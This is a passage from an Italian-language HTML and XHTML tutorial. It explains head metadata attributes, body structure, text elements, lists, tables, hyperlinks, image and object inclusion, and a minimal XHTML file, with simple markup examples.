Tabella 66.31. Parole chiave tipiche da assegnare all'attributo '**MEDIA**' dell'elemento '**LINK**' e dell'elemento '**STYLE**'.

Nome	Descrizione
screen	Schermo per lo scorrimento continuo.
tty	Terminale a celle di caratteri o simile.
tv	Televisione (bassa risoluzione e altre limitazioni).
projection	Proiettore.
handheld	Schermi portatili.
print	Stampa e simili (composizione impaginata).
braille	Terminale a barra braille per i non vedenti.
aural	Lettore a sintesi vocale.
all	Valido per tutti i tipi di dispositivo.

L'esempio seguente mostra in che modo si potrebbero selezionare diversi fogli di stile in base al mezzo utilizzato per la lettura del documento:

```
<LINK REL="Stylesheet" TYPE="text/css" MEDIA="screen" HREF="stile-schermo.css">
<LINK REL="Stylesheet" TYPE="text/css" MEDIA="tty" HREF="stile-testo.css">
<LINK REL="Stylesheet" TYPE="text/css" MEDIA="braille" HREF="stile-braille.css">
```

66.2.3.2 Corpo del documento

Il corpo di un documento HTML è delimitato dall'elemento '**BODY**' e il suo contenuto è ciò che alla fine viene mostrato nella composizione finale. La composizione del corpo viene descritta nella sezione 66.4.

66.3 Attributi comuni

Si è già accennato al fatto che molti elementi condividano un insieme comune di attributi. Vale la pena di descrivere brevemente alcuni di questi nelle sezioni successive.

66.3.1 Linguaggio

Il linguaggio di un elemento viene definito esplicitamente attraverso l'attributo '**LANG**', a cui viene assegnato solitamente un codice corrispondente allo standard ISO 639. La tabella 66.33 riporta un elenco di questi codici ridotto ad alcune lingue occidentali.

Tabella 66.33. Alcuni codici dello standard ISO 639 per la definizione della lingua attraverso una sigla di due soli caratteri.

Codice	Lingua	Codice	Lingua
fr	Francese	it	Italiano
ro	Rumeno	es	Spagnolo
ca	Catalano	co	Corso
pt	Portoghese	da	Danese
nl	Olandese	en	Inglese
de	Tedesco	is	Islandese
no	Norvegese	sv	Svedese
fi	Finlandese		

In generale può essere conveniente l'utilizzo di questo attributo nell'elemento '**HTML**', in modo da fissare il linguaggio di tutto il documento. Tuttavia, quando un elemento contiene un testo in un altro linguaggio, conviene annotarlo nello stesso modo.

L'effetto più evidente che potrebbe risultare dalla distinzione in base al linguaggio, è la separazione delle parole in sillabe, per creare una composizione più gradevole.

66.3.2 Codifica

L'opzione '**charset**' dell'attributo '**CONTENT**', permette di definire esplicitamente l'insieme di caratteri dell'elemento. Come è già stato mostrato, di solito lo si utilizza in un elemento '**META**' introduttivo allo scopo di definire l'intestazione HTTP relativa:

```
<HEAD>
    <TITLE>...</TITLE>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
    <!--...-->
</HEAD>
```

La tabella 66.35 elenca alcuni codici comuni per la definizione dell'insieme dei caratteri.

Tabella 66.35. Alcuni codici per definire l'insieme di caratteri.

Codice	Corrispondenza	Codice	Corrispondenza
ISO–8859–1	latin1	ISO–8859–2	latin2
ISO–8859–3	latin3	ISO–8859–4	latin4
ISO–8859–5	ciryllic	ISO–8859–6	arabic
ISO–8859–7	greek	ISO–8859–8	hebrew
ISO–8859–9	latin5	ISO–8859–15	latin9

66.3.3 Direzione del testo

Il testo di un documento HTML può scorrere da sinistra a destra o viceversa. Per controllare questo flusso si può utilizzare l'attributo '**`DIR`**', a cui si possono abbinare esclusivamente le parole chiave '**`LTR`**' o '**`RTL`**': *Left to right*, da sinistra a destra; *Right to left*, da destra a sinistra.

In generale, il flusso del testo avviene da sinistra a destra, come richiedono le lingue occidentali, per cui non è necessario usare questo attributo in condizioni «normali».

È importante notare che il testo nel sorgente di un documento HTML segue sempre il flusso normale, da sinistra a destra, ammesso che si possa definire un flusso per un file sorgente.

Non è disponibile la possibilità di ribaltare orizzontalmente i caratteri, quando il flusso del testo cambia direzione, come avviene nella scrittura geroglifica.

66.3.4 Titolo

Molti elementi dispongono di un attributo '**`TITLE`**'. Il suo scopo è quello di indicare un titolo, che viene preso in considerazione in modo differente in base al contesto. Questo attributo può essere molto utile negli elementi che comportano l'inclusione di un'immagine, dal momento che rappresenta un testo alternativo per chi non può visualizzarle. Anche un riferimento ipertestuale può avvantaggiarsi di questo attributo, perché si può visualizzare il testo corrispondente prima di raggiungere l'oggetto, in modo da avere una breve descrizione di ciò che si tratta (così da poter decidere se ne vale la pena).

```
<A HREF="http://www.brot.dg/foto/tizio.jpg" TITLE="Tizio in divisa">Tizio</A>
```

L'esempio mostra proprio il caso di un riferimento ipertestuale, ottenuto con l'elemento '**`A`**', attraverso il quale si raggiunge un file che dovrebbe mostrare l'immagine di Tizio vestito in divisa. Se il navigatore permette di conoscere il titolo del riferimento prima di doverlo raggiungere, si può evitare di prelevare il file nel caso ciò non sia interessante.

È ovvio che sta poi all'autore della pagina la scelta nello scrivere dei titoli utili o ingannevoli. Chi realizza una pagina pubblicitaria ha ovviamente degli interessi diversi da chi invece vuole realizzare un documento ordinato e facile da consultare.

66.3.5 Identificazione di un elemento

Molti elementi dispongono di un attributo '**ID**' che permette di attribuire loro un'etichetta con la quale poi farvi riferimento. Il modo tradizionale per realizzare dei riferimenti incrociati in HTML è l'uso dell'elemento '**A**', prima con l'attributo '**NAME**' (l'etichetta), poi con l'attributo '**HREF**' (il riferimento ipertestuale).

L'attributo '**ID**' permette di generalizzare il problema, dal momento che in tal modo gli elementi comuni hanno la possibilità di «identificarsi» in maniera univoca per qualunque scopo, non solo quello di definire un obiettivo per un riferimento.

```
<P ID="superparagrafo">Questo è un paragrafo nominato in modo univoco.</P>
<P ID="supermegaparagrafo">Anche questo è un altro paragrafo nominato in
modo univoco.</P>
```

Si deve tenere presente che i nomi utilizzati per gli attributi '**ID**' devono essere univoci. Questi nomi devono essere univoci anche nei confronti dell'attributo '**NAME**' nell'elemento '**A**'.

66.3.6 Classificazione degli elementi

A differenza dell'attributo '**ID**', l'attributo '**CLASS**' consente di abbinare a un gruppo di elementi una certa classe. Il meccanismo è lo stesso, con la differenza che si vogliono indicare dei raggruppamenti. Di solito, si attribuisce una classe per abbinarne le definizioni di un foglio di stile.

```
<SPAN CLASS="nota">la vita è fatta per essere vissuta</SPAN>
```

L'esempio mostra la delimitazione di una parte di testo attraverso l'elemento '**SPAN**', al quale viene attribuita la classe '**nota**'. In seguito è possibile abbinare a tutti gli elementi di questa classe le stesse caratteristiche attraverso un foglio di stile. Utilizzando i fogli di stile CSS, si potrebbe applicare la regola seguente a tutti gli elementi '**SPAN**' della classe '**nota**':

```
SPAN.nota       { color: green; }
```

66.4 HTML: corpo

Il corpo di un documento HTML è contenuto nell'elemento '**BODY**', che può contenere blocchi di testo, intercalati da elementi '**H*n***' (da '**H1**' a '**H6**'), che rappresentano il titolo di una sezione di livello ***n***. In particolare, lo standard ISO 15445 impone che il livelli delle sezioni siano coerenti.

66.4.1 Delimitazione di blocchi e di testo normale

Per ovviare alla mancanza di una struttura prestabilita, è possibile raggruppare dei blocchi di testo o del testo normale attraverso gli elementi '**DIV**' e '**SPAN**' rispettivamente.

Gli obiettivi che ci si possono prefiggere in questo modo possono essere molti. In generale si sfrutta la possibilità di attribuire a questi elementi degli attributi per qualche scopo.

```
<DIV ID="capitolo-1" CLASS="capitolo">
<!-- contenuto del capitolo -->
...
...
</DIV>
```

Questo esempio mostra una situazione in cui l'elemento '**DIV**' viene utilizzato per delimitare una parte del corpo del documento, a cui viene attribuita la classe '**capitolo**' e la stringa di identificazione '**capitolo-1**'.

```
Il sig. <SPAN CLASS="nome">Tizio Tizi</SPAN> è andato...
```

In questo nuovo esempio, si usa l'elemento '**SPAN**' per delimitare il testo che indica il nome di una certa persona. In questo modo viene anche attribuita l'appartenenza alla classe '**nome**', cosa che può tornare utile per rendere i nomi in modo diverso attraverso un foglio di stile.

66.4.2 Titoli e struttura implicita del testo

Ciò che nel testo rappresenta un titolo di una sezione, si indica utilizzando gli elementi che vanno da '**H1**' a '**H6**'. Intuitivamente, il primo rappresenta un titolo di importanza maggiore, mentre l'ultimo è quello di importanza minore.

L'utilizzo corretto dei titoli attraverso questi elementi è molto importante perché può permettere a un sistema di visualizzazione o composizione di conoscerne la gerarchia e generare così un indice generale (se richiesto). In taluni casi si può arrivare anche a ottenere una numerazione di questi titoli in modo automatico.

```
...
<H1>Titolo principale</H1>
...
<H2>Titolo di livello inferiore</H2>
...
<H1>Altro titolo principale</H1>
...
```

Gli elementi che rappresentano dei titoli sono fatti per contenere testo normale ed elementi che non rappresentano blocchi separati.

È importante ricordare che il titolo del documento HTML, quello che si indica nell'elemento '**TITLE**' nell'intestazione, ovvero all'interno dell'elemento '**HEAD**', di norma non viene rappresentato. Per questo, spesso, il titolo del documento viene riproposto in un titolo '**H1**'.

L'esempio seguente mostra un pezzo di documento strutturato in capitoli e sezioni, delimitati formalmente attraverso l'elemento '**DIV**':

```
<H1>Trattato di bla bla bla</H1>
<DIV CLASS="capitolo" ID="capitolo-1">

<P>Questo trattato tratta di aria fritta...</P>

```

```
</DIV>
<H1>Dettagli</H1>
<DIV CLASS="sezione" ID="sezione-1-1">

<P>Questa è una sezione inutile di un trattato
inutile...</P>

</DIV>
```

Lo scopo di ciò può essere quello di attribuire stili particolari alle varie parti gerarchiche del documento. Inoltre, l'utilizzo dell'attributo '**ID**' nell'elemento '**DIV**' che introduce ogni blocco gerarchico può rappresentare un modo coerente per farvi riferimento.

È bene osservare che lo standard ISO 15445 esclude che l'elemento '**DIV**' possa contenere elementi '**H*n***'.

66.4.3 Testo

Il testo normale è ciò che è contenuto in un «blocco» di testo. Il caso più comune di blocco di testo è rappresentato dall'elemento '**P**', utilizzato per dividerlo idealmente in paragrafi.

All'interno di un blocco, salvo casi particolari, il testo viene reso in modo da adattarsi alle dimensioni imposte dal sistema di visualizzazione o di composizione. In pratica, viene suddiviso in modo conveniente, ignorando le interruzioni di riga e le righe vuote aggiunte.

È opportuno fare attenzione all'uso degli spazi all'interno degli elementi che contengono testo normale: si dovrebbe evitare di iniziare o concludere un elemento con uno spazio. In pratica, si deve evitare di scrivere qualcosa come:

```
<P>Bla bla bla <EM> evviva </EM> bla bla.</P>
```

Al suo posto bisogna invece limitarsi a scrivere:

```
<P>Bla bla bla <EM>evviva</EM> bla bla.</P>
```

66.4.3.1 Paragrafi e interruzioni

Si è già accennato al fatto che le righe vuote vengono ignorate in HTML. In effetti, l'interruzione di un paragrafo deve essere segnalata sempre esplicitamente, almeno attraverso l'indicazione dell'inizio di questo. Si osservi l'esempio seguente; anche se appare ovvio che il testo successivo alla dichiarazione del titolo è un paragrafo, questo modo non è ammissibile.

```
...
<H1>Titolo principale</H1>
Primo paragrafo che descrive qualcosa
che non serve precisare oltre.
<p>Paragrafo successivo.
<H1>Altro argomento</H1>
...
```

HTML ignora le righe bianche (possono contenere spazi e caratteri di tabulazione, oltre ai caratteri di conclusione della riga), per cui la separazione dei paragrafi attraverso l'inserzione di righe non serve a nulla.

Se si vuole ottenere l'interruzione della riga, in modo che il testo riprenda all'inizio, ma senza interrompere il paragrafo, potrebbe convenire l'utilizzo dell'elemento '**BR**', come nell'esempio seguente:

```
<P>Paragrafo che descrive qualcosa:<BR>
questa riga fa parte dello stesso paragrafo
che inizia con la riga precedente.</P>
```

Se si vogliono evitare i problemi causati dalle differenze nella composizione del risultato da parte dei programmi di navigazione, conviene ridurre al minimo l'uso di questo tipo di interruzione di riga.

Per separare il testo esiste anche la possibilità di utilizzare delle righe di separazione orizzontale: '**HR**' (*Horizontal rule*). Si tratta di elementi vuoti, per cui non si usa il marcatore di conclusione.

66.4.3.2 Elementi tipici utilizzati all'interno delle frasi

Nell'ambito del testo normale, si possono racchiudere alcune parti, per qualche motivo, all'interno di elementi specifici. Le situazioni tipiche riguardano l'evidenziamento, come nel caso degli elementi '**EM**' e '**STRONG**'.

```
... il <EM>codice di interruzione di riga</EM> è ciò
che separa le righe ...
```

La tabella 66.49 elenca gli elementi più comuni di questo tipo.

Tabella 66.49. Elementi da usare all'interno delle frasi.

Elemento	Significato
EM	Testo enfatizzato, di solito in corsivo.
STRONG	Testo evidenziato, di solito in neretto.
CITE	Citazione, nel senso di chi o cosa viene citato.
Q	Testo citato.
DFN	Definizione.
CODE	Codice usato in elaborazione, di solito reso in carattere dattilografico.
SAMP	Testo risultato di un'elaborazione.
KBD	Testo da inserire attraverso la tastiera.

Elemento	Significato
VAR	Variabile o argomento di un programma.
ABBR	Abbreviazione.
ACRONYM	Acronimo.
SUB	Testo a pedice.
SUP	Testo ad apice.

Vale la pena di vedere come si può abbinare l'attributo '**TITLE**' agli elementi '**ABBR**' e '**ACRONYM**'. In generale, questi due si possono intendere quasi come la stessa cosa: spesso l'acronimo è un'abbreviazione. A parte il problema di scegliere questo o quell'elemento, l'attributo '**TITLE**' diventa utile per specificare il modo in cui si traduce l'acronimo o l'abbreviazione:

```
<ACRONYM TITLE="World Wide Web">WWW</ACRONYM>
```

A volte, un'abbreviazione o un acronimo diventano parole con un'identità propria; come tale acquisisce anche una pronuncia, che probabilmente si vuole preservare, specialmente quando il documento HTML viene letto attraverso un sistema vocale. Anche a questo scopo può essere usato l'attributo '**TITLE**'.

66.4.3.3 Citazioni

Il testo che si riferisce a una citazione si può delimitare attraverso due elementi: '**BLOCKQUOTE**' quando si tratta di blocchi di testo e '**Q**' quando si tratta di qualcosa che viene inserito nel flusso del testo normale.

```
<BLOCKQUOTE CITE="http://www.brot.dg/testi/prova.html" LANG="it">
<P>Bla bla bla...
bla bla bla bla...
bla bla bla.</P>
</BLOCKQUOTE>
```

Dall'esempio si può osservare l'utilizzo dell'attributo '**CITE**' con il quale si può indicare l'URI da dove ottenere il testo originale o il testo completo; inoltre è stato inserito anche l'attributo '**LANG**' allo scopo di specificare il linguaggio del testo citato (presumibilmente diverso da quello generale).

```
<P><CITE>Tizio Tizi</CITE> ha detto:
<Q CITE="http://www.brot.dg/testi/prova.html" LANG="it">
Bla bla bla...
bla bla bla bla...
bla bla bla.</Q></P>
```

Questo esempio ulteriore fa uso dell'elemento '**Q**', ma in aggiunta si vede anche l'elemento '**CITE**' con il quale viene indicato l'autore del testo citato.

66.4.3.4 Testo preformattato

In un documento HTML, l'unico modo per preservare gli spazi orizzontali e le interruzioni di riga, è l'uso dell'elemento '**PRE**'. In generale, il risultato che si ottiene viene rappresentato utilizzando un carattere dattilografico.

```
<P>Il comando <CODE>ls -l /</CODE> genera un risultato simile a quello
seguente:</P>

<PRE>
drwxr-xr-x   2 root     root         2048 gen  6 18:38 bin
drwxr-xr-x   3 root     root         1024 dic 31 08:08 boot
drwxr-xr-x   4 root     root        18432 gen 24 14:23 dev
drwxr-xr-x  68 root     root         4096 gen 24 14:09 etc
drwxr-sr-x  14 root     root         1024 gen  3 19:32 home
drwxr-xr-x   5 root     root         4096 gen  6 16:32 lib
drwxr-xr-x  19 root     root         1024 ago 15 16:02 mnt
drwxr-xr-x   5 root     root         1024 nov  9 14:59 opt
dr-xr-xr-x  88 root     root            0 gen 24 14:07 proc
drwxr-xr-x  18 root     root         1024 dic 16 17:37 root
drwxr-xr-x   3 root     root         2048 gen  6 16:12 sbin
drwxrwxrwt   6 root     root         8192 gen 24 18:56 tmp
drwxr-xr-x  16 root     root         1024 gen  5 15:23 usr
drwxr-xr-x  15 root     root         1024 set 29 15:02 var
</PRE>
```

Per essere sicuri del risultato finale, è bene evitare l'uso di caratteri di tabulazione, preferendo piuttosto gli spazi normali.

66.4.4 Elenchi

In generale, esistono tre tipi di elenchi: puntati, numerati e descrittivi. L'elenco puntato viene definito utilizzando l'elemento '**UL**' (*Unordered list*), quello numerato si ottiene con l'elemento '**OL**' (*Ordered list*), quello descrittivo si ottiene con l'elemento '**DL**' (*Definition list*). Le voci degli elenchi puntati e numerati sono costituite da elementi '**LI**' (*List item*), mentre nel caso dell'elenco descrittivo il contenuto si articola in elementi '**DT**' (*Definition term*) e '**DD**' (*Definition description*).

```
<UL>
    <LI>prima voce di un elenco puntato;</LI>
    <LI>seconda voce di un elenco puntato;</LI>
    <LI>terza voce.</LI>
</UL>
```

```
<OL>
    <LI>prima voce di un elenco numerato;</LI>
    <LI>seconda voce di un elenco numerato;</LI>
    <LI>terza voce.</LI>
</OL>
```

```
<DL>
    <DT>Resistenza</DT>
    <DT>Resistore</DT>
        <DD>Componente resistivo utilizzato in elettronica</DD>
    <DT>Condensatore</DT>
        <DD>Componente capacitivo...</DD>
</DL>
```

Gli esempi mostrano un uso molto semplice di questi elenchi. Si può osservare in particolare che nel caso dell'elenco descrittivo, gli elementi che delimitano il termine da descrivere possono essere più di uno simultaneamente.

Gli elementi '**`LI`**' e '**`DT`**' sono speciali, dal momento che possono contenere testo lineare normale, come si vede negli esempi, oppure dei blocchi di testo. Questo, tra le altre cose, consente di realizzare degli elenchi più complessi.

```
<OL>
    <LI><P>prima voce di un elenco numerato;</P></LI>
    <LI><P>seconda voce di un elenco numerato;</P></LI>
    <LI>
        <P>terza voce che si articola ulteriormente:</P>
        <UL>
            <LI>bla bla bla</LI>
            <LI>bla bla bla</LI>
            <LI>bla bla bla</LI>
        </UL>
    </LI>
</OL>
```

66.4.5 Tabelle

Quando si iniziano a utilizzare le tabelle e si scoprono gli effetti che si riescono a ottenere, non se ne vorrebbe più fare a meno. In realtà, sarebbe bene utilizzare le tabelle il meno possibile, perché alcuni programmi per la visualizzazione di documenti HTML non sono in grado di gestirle in maniera ottimale. Qui viene data solo una spiegazione superficiale, che comunque dovrebbe essere sufficiente per l'uso normale.

La tabella è definita dall'elemento '**`TABLE`**'; al suo interno può essere inclusa una didascalia rappresentata dall'elemento '**`CAPTION`**', quindi il contenuto della tabella viene distinto in intestazione, piede e corpo, all'interno dei quali si inseriscono le righe della tabella stessa (figura 66.58).

Figura 66.58. Esempio di una tabella.

```
.-------------------------------------------.
| Articolo        | Descrizione              |      riga di intestazione
|================|==========================|
| 123xyz          | Bicicletta uomo          |   \
|----------------|--------------------------|   |
| 125xyz          | Bicicletta donna         |   >    corpo
|----------------|--------------------------|   |
| 121xyz          | Bicicletta bambino       |   /
|================|==========================|
| Articolo        | Descrizione              |      piede
'-------------------------------------------'
```

L'intestazione e il piede non sono obbligatori; in ogni caso, se si utilizzano vanno inseriti ordinatamente prima del corpo. Se non si indica l'intestazione o il piede, le righe che costituiscono il corpo hanno comunque bisogno di essere delimitate espressamente tra i marcatori che rappresentano l'elemento corrispondente.

Lo standard ISO 15445 obbliga all'utilizzo dell'attributo '**`SUMMARY`**' nell'elemento '**`TABLE`**'. Questo attributo dovrebbe permettere di riassumere il contenuto della tabella per quelle situazioni in cui potrebbe essere impossibile consultarla correttamente.

La tabella 66.59 riepiloga gli elementi utili nella realizzazione delle tabelle HTML.

Tabella 66.59. Elementi da usare per la realizzazione delle tabelle HTML.

Elemento	Significato
TABLE	Delimita la tabella.
CAPTION	Didascalia.
THEAD	Righe di intestazione.
TFOOT	Righe del piede.
TBODY	Righe del corpo.
TR	Riga normale.
TH	Elemento evidenziato di una riga.
TD	Elemento di una riga.

L'esempio seguente rappresenta una tabella molto banale, senza intestazione e senza piede:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<TBODY>
    <TR><TD>uno</TD><TD>due</TD></TR>
    <TR><TD>tre</TD><TD>quattro</TD></TR>
    <TR><TD>cinque</TD><TD>sei</TD></TR>
</TBODY>
</TABLE>
```

Il risultato è uno specchietto simile a quello che si vede di seguito:

```
---------------------------------
 uno           due
 tre           quattro
 cinque        sei
---------------------------------
```

Ecco lo stesso esempio con l'aggiunta di una riga di intestazione:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<THEAD>
    <TR><TD>Primo</TD><TD>Secondo</TD></TR>
</THEAD>
<TBODY>
    <TR><TD>uno</TD><TD>due</TD></TR>
    <TR><TD>tre</TD><TD>quattro</TD></TR>
    <TR><TD>cinque</TD><TD>sei</TD></TR>
</TBODY>
</TABLE>
```

```
---------------------------------
 Primo          Secondo
---------------------------------
 uno            due
 tre            quattro
 cinque         sei
---------------------------------
```

L'esempio seguente aggiunge anche una didascalia molto breve:

```
<TABLE SUMMARY="uno due tre quattro cinque sei">
<CAPTION>
    Tabella banale
</CAPTION>
<THEAD>
    <TR><TD>Primo</TD><TD>Secondo</TD></TR>
</THEAD>
<TBODY>
    <TR><TD>uno</TD><TD>due</TD></TR>
    <TR><TD>tre</TD><TD>quattro</TD></TR>
    <TR><TD>cinque</TD><TD>sei</TD></TR>
</TBODY>
</TABLE>
```

```
         Tabella banale
---------------------------------
 Primo          Secondo
---------------------------------
 uno            due
 tre            quattro
 cinque         sei
---------------------------------
```

Le tabelle HTML possono essere molto più complesse di quanto è stato mostrato qui. Vale la pena di sottolineare il fatto che gli elementi '**`TD`**', ovvero le celle all'interno delle righe, possono contenere sia testo normale, sia blocchi di testo. Inoltre, lo standard ISO 15445 non consente più l'utilizzo di attributi per la descrizione dei bordi da far risaltare, perché per questo si possono applicare degli stili.

66.4.6 Riferimenti ipertestuali

La sigla HTML fa riferimento esplicitamente a un sistema ipertestuale. Ci deve quindi essere un modo per creare questi collegamenti.

Un riferimento può essere fatto a una pagina intera o a un punto particolare di una pagina. Il riferimento può essere assoluto, cioè provvisto dell'indicazione del nodo di rete e del percorso necessario a raggiungere la pagina, oppure può essere relativo al nodo attuale.

Per i riferimenti si utilizza l'elemento '**`A`**' ed eventualmente l'attributo '**`ID`**' di molti altri elementi.

66.4.6.1 Riferimenti a una pagina intera

Un riferimento a una pagina intera, con l'indicazione del percorso assoluto per raggiungerla, viene fatto come nell'esempio seguente:

```
<A HREF="http://www.brot.dg/prove/prova.html">Pagina di prova</A>
```

Nell'esempio, la frase «Pagina di prova» serve come punto di riferimento del puntatore a '`http://www.brot.dg/prove/prova.html`'.

Quando di realizza un documento HTML composto da più pagine collegate tra loro, è preferibile utilizzare riferimenti relativi, in modo da non dover indicare il nome del nodo in cui si trovano e nemmeno il percorso assoluto delle directory da attraversare per raggiungerle.

```
<A HREF="varie/nota.html">Annotazioni varie</A>
```

Nell'esempio, si vede un riferimento al file '`nota.html`' contenuto nella «directory» '`varie/`' discendente dalla directory corrente. La directory corrente, in questi casi, è quella in cui si trova la pagina contenente il puntatore.[1]

Il vantaggio di utilizzare riferimenti relativi, sta nella facilità con cui il documento può essere spostato o copiato in altri punti nel file system dello stesso o di un altro elaboratore (si veda anche quanto già scritto nella sezione 66.1).

66.4.6.2 Riferimenti a una posizione di una pagina

All'interno di una pagina è possibile collocare delle etichette che poi possono servire per fare dei riferimenti, sia a partire dalla stessa pagina che da altre. L'esempio seguente mostra un esempio di un'etichetta molto semplice.

```
<A NAME="introduzione"></A>
```

Si usa quindi lo stesso elemento che serve per creare un puntatore, ma con l'attributo '**`NAME`**'. L'argomento dell'attributo '**`NAME`**' (in questo caso è la parola '**`introduzione`**'), identifica quel punto.

Per fare riferimento a un'etichetta nella stessa pagina si può usare la forma dell'esempio seguente, con il quale si vuole puntare all'etichetta appena creata.

```
<A HREF="#introduzione">Introduzione</A>
```

Si utilizza l'attributo '**HREF**' come al solito, ma il suo argomento è il nome dell'etichetta preceduta dal simbolo '**#**'. Evidentemente, ciò è necessario per evitare di fare riferimento a un file con lo stesso nome.

Se si vuole fare riferimento a un'etichetta di un certo file, si utilizza la notazione solita, aggiungendo l'indicazione dell'etichetta.

```
<A HREF="http://www.brot.dg/varie/linux.html#introduzione">Introduzione
a GNU/Linux</A>
```

66.4.6.3 Collegamenti simmetrici

Si può osservare che l'elemento '**A**' serve sia per indicare un'etichetta, attraverso l'attributo '**NAME**', sia per definire un riferimento, attraverso l'attributo '**HREF**' (senza contare la possibilità di usare anche l'attributo '**ID**'). Questo fatto consente di realizzare dei riferimenti simmetrici, dove un riferimento è anche etichetta della terminazione opposta:

```
<A NAME="uno" HREF="#due">vai al punto due</A>
```

```
<A NAME="due" HREF="#uno">vai al punto uno</A>
```

L'esempio dovrebbe essere abbastanza chiaro: il primo puntatore punta al secondo, che a sua volta punta al primo.

66.4.6.4 Utilizzo dell'attributo ID

L'attributo '**ID**' è una generalizzazione attraverso la quale si attribuisce un'identità a un elemento. Può essere usato come destinazione per un riferimento fatto attraverso l'elemento '**A**' con l'attributo '**HREF**', ma il suo scopo è più ampio.

In generale, quando si realizzano dei riferimenti ipertestuali dovrebbe essere più conveniente l'indicazione di etichette attraverso l'attributo '**NAME**', dal momento che ci possono essere ancora dei navigatori o altri sistemi di lettura di file HTML che non sono in grado di riconoscere l'attributo '**ID**'.

66.4.7 Inserzioni di oggetti

Un documento HTML può contenere riferimenti a «oggetti» esterni. Nei casi più comuni si tratta di immagini o di applet, ma il concetto riguarda qualunque altra cosa che possa essere incorporata nel documento. Come si può supporre, l'elemento attraverso cui si includono gli oggetti è '**OBJECT**'. La tabella 66.73 elenca alcuni degli attributi di questo elemento.

Tabella 66.73. Alcuni attributi dell'elemento '**OBJECT**'.

Attributo	Significato
DATA	Riferimento al file dell'oggetto.
TYPE	Tipo di oggetto.
STANDBY	Messaggio di attesa durante il caricamento dell'oggetto.

Come si può intuire, il minimo per importare un oggetto richiede almeno l'uso dell'attributo '**DATA**'; inoltre, in generale è opportuno aggiungere anche l'attributo '**TYPE**' per precisare

subito il tipo di oggetto.

L'elemento '**OBJECT**' non può essere vuoto; ciò che racchiude è quanto deve essere mostrato nel caso non sia possibile raggiungere l'oggetto indicato, oppure non sia possibile gestire l'oggetto stesso. Di solito si tratta di testo normale, ma potrebbe trattarsi di altri oggetti alternativi.

```
<OBJECT DATA="esempio.jpg" TYPE="image/jpg">Immagine di esempio</OBJECT>
```

L'esempio mostra l'inclusione di un'immagine, 'esempio.jpg', che nel caso non possa essere raggiunta o visualizzata, viene rimpiazzata con la frase: «Immagine di esempio». L'esempio seguente, al contrario, tenta di visualizzare un'altra immagine in un formato alternativo; se poi anche quella non è accessibile o visualizzabile, si passa al testo di prima:

```
<OBJECT DATA="esempio.png" TYPE="image/png">
    <OBJECT DATA="esempio.jpg" TYPE="image/jpg">
        Immagine di esempio
    </OBJECT>
</OBJECT>
```

66.4.7.1 Immagini

Il tipo di immagine che può essere visualizzata dipende solo dalle limitazioni del programma di navigazione o di composizione. Generalmente si possono utilizzare solo i formati GIF, JPG e PNG (in pratica le estensioni '.gif', '.jpg' e '.png').[2]

I riferimenti a file di immagine si fanno attraverso l'elemento '**OBJECT**' oppure '**IMG**'. In generale, per ottenere un documento HTML adatto alla maggior parte di programmi per la navigazione, conviene ancora utilizzare il vecchio elemento '**IMG**', come nell'esempio seguente:

```
<IMG SRC="http://www.brot.dg/varie/immagini/logo.jpg" ALT="Logo">
```

L'elemento '**IMG**' è vuoto, pertanto non si usa il marcatore di conclusione. Come si vede dall'esempio, si utilizza l'attributo '**SRC**' per definire la collocazione del file contenente l'immagine, l'attributo '**ALT**' per indicare una descrizione alternativa nel caso in cui l'immagine non possa essere visualizzata. La stessa cosa avrebbe potuto essere espressa con l'elemento '**OBJECT**' nel modo seguente:

```
<OBJECT DATA="http://www.brot.dg/varie/immagini/logo.jpg" TYPE="image/jpg">
    Logo
</OBJECT>
```

Generalmente, per evitare problemi di compatibilità con i vari programmi di navigazione, è meglio evitare di fare scorrere il testo a fianco delle immagini, per cui è bene staccare il testo normale racchiudendolo esplicitamente all'interno di un elemento '**P**' (paragrafo).

```
<IMG SRC="immagini/logo.jpg" ALT="Logo">
<P>...testo che segue l'immagine...
```

L'immagine può essere utilizzata anche come pulsante per un riferimento ipertestuale, quando è contenuta all'interno di questo ultimo. In tali casi è particolarmente importante ricordare di

inserire l'attributo '**`ALT`**', che diventa un'alternativa indispensabile nel caso in cui l'immagine non possa essere visualizzata.

```
<A HREF="varie/nota.html"><IMG SRC="img/nota.jpg" ALT="Annotazioni varie"></A>
```

Naturalmente, se fosse necessario ricordarlo, non è obbligatorio che tutto si trovi sulla stessa riga, quindi l'esempio precedente può anche essere assemblato come indicato qui sotto:

```
<A HREF="varie/nota.html">
        <IMG SRC="immagini/nota.jpg" ALT="Annotazioni varie">
</A>
```

66.5 XHTML

XHTML è una rivisitazione dell'HTML in forma di applicazione XML, rimanendo molto simile all'HTML tradizionale, ma con alcune differenze importanti. In particolare:

- gli elementi devono essere delimitati correttamente con i marcatori di apertura e chiusura;
- non ci possono più essere elementi vuoti indicati con il solo marcatore di apertura, dal momento che al loro posto si possono solo usare i marcatori speciali nella forma '**`<`**...**`/>`**';[3]
- i nomi degli elementi e degli attributi vanno scritti utilizzando solo lettere minuscole;
- gli attributi devono essere assegnati correttamente (non si possono usare più degli attributi booleani) e il valore assegnato deve essere delimitato da apici doppi o singoli;
- l'attributo '**`lang`**', se utilizzato, deve essere abbinato anche all'attributo '**`xml:lang`**', in base alle convenzioni dell'XML;
- se non si può evitare l'uso dell'attributo '**`name`**', questo deve essere abbinato anche all'attributo '**`id`**';
- se il valore assegnato a un attributo deve contenere una e-commerciale ('**`&`**'), occorre indicarla nella forma '**`&`**', anche se si tratta di un URI;
- se per qualche ragione non si dichiara la codifica utilizzata, deve trattarsi della forma UTF-8 oppure UTF-16;
- l'elemento '**`isindex`**' è superato e si preferisce usare l'elemento '**`input`**'.

66.5.1 Scheletro di un file XHTML

Trattandosi di un'applicazione XML, l'inizio dovrebbe essere scontato: si deve specificare che si tratta di un file XML, quindi si passa a indicare il DTD a cui si fa riferimento:

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
                      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head>
    <title>Esempio XHTML</title>
    <meta name="keywords" content="XML, SGML, XSL, DSSSL" />
</head>
<body>
    <p>Ciao mondo!</p>
</body>
</html>
```

